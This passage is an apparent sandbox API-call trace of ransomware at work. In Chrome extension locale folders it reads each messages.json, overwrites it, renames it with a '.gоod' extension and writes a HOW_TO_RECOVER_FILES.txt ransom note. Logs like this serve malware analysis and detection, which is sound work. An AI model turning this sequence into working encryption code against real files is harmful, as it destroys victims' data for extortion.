out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552b591e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ba743, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552ba743, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0240.715] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552b591e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ba743, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552ba743, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.715] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552ba743, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552bf518, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.715] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552ba743, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552bf518, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.715] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0240.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.715] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", lpFilePart=0x0) returned 0x89 [0240.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0240.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38ded68 | out: lpFileInformation=0x38ded68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552ba743, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552bf518, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe1)) returned 1 [0240.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0240.716] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", lpFilePart=0x0) returned 0x89 [0240.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.716] GetFileType (hFile=0x824) returned 0x1 [0240.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.716] GetFileType (hFile=0x824) returned 0x1 [0240.716] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe1 [0240.716] ReadFile (in: hFile=0x824, lpBuffer=0x38df208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x38df208*, lpNumberOfBytesRead=0x1f6e7648*=0xe1, lpOverlapped=0x0) returned 1 [0240.805] CloseHandle (hObject=0x824) returned 1 [0240.831] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", lpFilePart=0x0) returned 0x89 [0240.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.833] GetFileType (hFile=0x824) returned 0x1 [0240.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.833] GetFileType (hFile=0x824) returned 0x1 [0240.833] WriteFile (in: hFile=0x824, lpBuffer=0x3802cc0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3802cc0*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0240.834] CloseHandle (hObject=0x824) returned 1 [0240.834] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json", lpFilePart=0x0) returned 0x89 [0240.834] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0240.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0240.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552ba743, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552bf518, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8bc1f7f2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0240.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0240.834] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.gоod")) returned 1 [0240.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0240.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0240.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0240.836] GetFileType (hFile=0x824) returned 0x1 [0240.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0240.836] GetFileType (hFile=0x824) returned 0x1 [0240.837] WriteFile (in: hFile=0x824, lpBuffer=0x38065f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x38065f8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0240.837] CloseHandle (hObject=0x824) returned 1 [0240.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.838] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpFilePart=0x0) returned 0x7b [0240.838] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552c91c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552cdfe6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552cdfe6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0240.838] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552c91c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552cdfe6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552cdfe6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.838] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552cdfe6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552d2d98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.839] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.839] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0240.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpFilePart=0x0) returned 0x7b [0240.839] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552c91c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552cdfe6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552cdfe6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0240.839] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552c91c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552cdfe6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552cdfe6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.839] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552cdfe6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552d2d98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.839] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552cdfe6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552d2d98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.840] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0240.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0240.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38165c8 | out: lpFileInformation=0x38165c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552cdfe6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552d2d98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x123)) returned 1 [0240.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0240.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.840] GetFileType (hFile=0x824) returned 0x1 [0240.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.840] GetFileType (hFile=0x824) returned 0x1 [0240.840] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x123 [0240.840] ReadFile (in: hFile=0x824, lpBuffer=0x3816aa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3816aa8*, lpNumberOfBytesRead=0x1f6e7648*=0x123, lpOverlapped=0x0) returned 1 [0241.623] CloseHandle (hObject=0x824) returned 1 [0241.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0241.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0241.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0241.651] GetFileType (hFile=0x85c) returned 0x1 [0241.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0241.651] GetFileType (hFile=0x85c) returned 0x1 [0241.651] WriteFile (in: hFile=0x85c, lpBuffer=0x39adcc8*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x39adcc8*, lpNumberOfBytesWritten=0x1f6e7558*=0x130, lpOverlapped=0x0) returned 1 [0241.652] CloseHandle (hObject=0x85c) returned 1 [0241.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0241.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0241.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0241.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552cdfe6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552d2d98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8c4054de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0241.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0241.652] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.gоod")) returned 1 [0241.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0241.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 